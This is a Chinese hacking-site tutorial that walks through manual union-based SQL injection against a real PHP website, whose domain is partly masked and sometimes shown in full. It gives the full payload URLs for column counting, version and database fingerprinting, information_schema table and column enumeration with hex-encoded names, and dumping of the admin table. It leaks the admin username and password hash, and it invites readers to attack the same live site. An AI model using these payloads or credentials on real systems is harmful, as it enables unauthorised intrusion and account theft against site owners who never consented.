欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

详细步骤php手工注入拿后台

来源:本站整理 作者:佚名 时间:2016-06-18 TAG: 我要投稿

本人小菜一个,旨在分享,如果能帮助到朋友们那就更好,另一个就是写出来的话我记得深刻点,以后哪天忘了一看黑吧安全网的这篇文章就可以拿起来用。注入点http://yk*****.com/cp.php?sid=-3


我们看,返回正常然后and 1=2看一下(其实这里只要等号前后的数值不同就可以,and=且 如果网站过滤and 我们用xor也一样的,只不过相反。)下面的图片已经不显示了,说明存在注入。

然后order by 1 看看是否返回正常,如果连1都错的话那么就有问题了。所以大家注入的时候可以先用1试试没问题在向下进行。好的,返回正常,就不截图了。看看有多少字段吧 order by 10 出错 我们用折半法 order by 5 还是出错 order by 2 正确order by 3 出错 那就说明是2然后就可以爆显位了,http://yk***.com/cp.php?sid=3 UNION SELECT 1,2其实就是:注入点 UNION SELECT 字段看看会发生什么。。

我们看到网页爆出来2个2,先不管那么多。只要知道2是显位就可以。(如果没有爆出来的话,可以在参数=这里加一个-号 或者前面加上and 1=2 只要让他报错都可以)然后就是php注入非常重要的部分,要收集信息。先不解释,看下面操作就明白了。version()获取版本database()获取数据库名user()获取当前用户@@version_compile_os 获取操作系统信息这个怎么用呢?其实非常简单。我们先来获取版本信息http://yk***.com/cp.php?sid=3 UNION SELECT 1,version()就是(注入点 UNION SELECT version())注意version()是插在显位数字那里的。不明白没关系多试几遍就懂了。看下图:

我们看到爆出了 5.0.77 这个版本信息。php注入的时候我们只要看他是大于5.0还是小于5.0.这里是大于5.0的版本,如果我们发现它是小于5.0的那么我们就不是这种方法注入了,要麻烦的多。好了继续爆数据库信息 database()获取数据库名。

好了,我们获得了数据库名:dfdn20120724 这对我们非常重要。继续爆user()获取当前用户

我们得到了系统当前用户:dfdn20120724_f@localhost还有一个我们要看看它的操作系统信息:@@version_compile_os 获取操作系统信息

获取到操作系统信息:redhat-linux-gnu 我们发现是Liuux的系统,哪怕我们对它一窍不通也没关系,不要在意。好了整理一下我们收集到的信息:数据库版本:5.0.77数据库名:dfdn20120724当前用户:dfdn20120724_f@localhost操作系统:redhat-linux-gnu【然后下面就是重点了,这个东西是死的,大家只要记住就可以。我留个公式下来:】-------------------------------------------嘿嘿,在吗----------------------------------------------------获取表名:注入点 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)获取表段和字段:注入点 UNION SELECT 1,column_name from information_schema.columns where table_name=编码后(表名)获取指定表下的指定字段信息注入点 UNION SELECT 1,字段名 from 表名-------------------------------------------在啊,有事吗----------------------------------------------------额额,不扯了。继续。不过记住分隔符里面的公式,以后只要把注入点和信息填进去就行。首先来获取表名:注入点 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)按照公式把我们的注入点替换上去结果为下:http://yk***.com/cp.php?sid=3 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)最后还有个数据库名,这个我们前面已经通过显位database()爆出来了为:dfdn20120724然后我们需要用转换工具来编码一下,我用的是小葵。看下图操作

在第一行粘贴我们要转换的内容(我们爆出的数据库名),然后看图片下面的箭头,Hex对应的内容:0x6466646E3230313230373234http://ykeast.com/cp.php?sid=3 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)然后把这个数据库名转换结果替换上去前后结果为:http://yke***.com/cp.php?sid=3 UNION SELECT 1,table_name from information_schema.tables where table_schema=0x6466646E3230313230373234看上面的语句会发现information_schema.tables 为什么要写这串英文呢?因为版本大于5.0的话有个自带的表,就是它所有如果小于5.0就么有这张表 注入语句也不会这么写。好了,用它来获取数据库表名,我们访问试试。看图:

很酸爽的感觉,。的感觉。感觉。.觉(不要诧异,这是回音。。。。是回音。。。回音。。音..)。....。。。好的,表全部爆出来了(如果没有全部爆出来,我们只需要把table_name用英文括号括起来,前面加个group_concat 再次访问,就可以获取到所有表)下面就是我们爆出来的所有表,我们要做的事情是判断哪张表是有我们要的管理账号密码,在下面等你们。。。。。1.web_config 2.administrator 3.info 4.pic 5.datainfo 6.lyan 7.link 8.web_config 9.dhuo·10.nyy_administrator 11.cpclass 12.class13. ly_info1我在这。。。。好的,有些经验的朋友很容易看出来 administrator,这张表很可能是管理表所以开始如下↓获取字段:注入点 UNION SELECT 1,column_name from information_schema.columns where table_name=编码后(表名)大 家注意:这个时候我们要获取指定表下面的字段,所有最后就不是编码的数据库名,而是我们要获取的表名 这里为 administrator 这张表。我们把它用如上方法转换一下得出:0x61646D696E6973747261746F72 然后 此时的注入语句为:↓http://ykeast.com/cp.php?sid=3 UNION SELECT 1,column_name from information_schema.columns where table_name=0x61646D696E6973747261746F72我们粘贴上去看下图:↓

可以看到已经爆出来了administrator这张表下的字段,整理如下:1.sdate 2.pwd 3.id4.uidpwd里面应该是密码 那么用户名呢?没有看到user 或者name之类的表啊,没关系 我们先来爆密码此时的语句就简单多了:获取指定表下的指定字段信息注入点 UNION SELECT 1,字段名 from 表名这里把注入点替换http://yk****.com/cp.php?sid=3 字段名替换pwd 表名替换为administrator得出注入语句结果如下↓ :http://yk***.com/cp.php?sid=3 UNION SELECT 1,pwd from administrator结果如下:

爆出来密码了,....先记录一下:等会再解密,应该还不知道用户名密码:7fef6171469e80d32c0559f88b377245还有3个字段:sdate iduid开始找用户名: sdate 的英文意思为姓名,id和uid一般都是编号序号之类的我们试试sdatehttp://ykeast.com/cp.php?sid=3 UNION SELECT 1,pwd from administrator这时候注入语句只需要把上面的pwd替换成sdate就可以了http://yk****.com/cp.php?sid=3 UNION SELECT 1,sdate from administrator访问试试:结果如下图:

好吧,只是时间而已。已经走到这里千万别放弃,我们试试uid这个字段。因为林子大了上面鸟都有,谁也不知道下一秒会发生什么...什么.....么(我们见过,我是回音).....言归正传:注入语句为:http://yk***.com/cp.php?sid=3 UNION SELECT 1,uid from administrator看结果;

没错,uid报出了管理用户名。用户名:amdin 密码:7fef6171469e80d32c0559f88b377245这里解密后的密码和后台我就不放出来了,这样的话可以多一些人练练手。不然很快就被搞死了。我也是小菜一个,我认同的学习方法就是多看视频,多看文章。然后练,如果说你看一篇文章或者视频,那个漏洞没有了 一时也找不到。那么如果想成长,进步。那就坚持下去,一旦你跨过去了,你会有很多收获的。后序:希望大家支持一下,花了2个多小时才写好。。。。谢谢,谢谢。我的邮箱281936@qq.com对了,本人很喜欢交流,无论你技术高低,只要肯上进。都可以一起交流。欢迎!!!

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载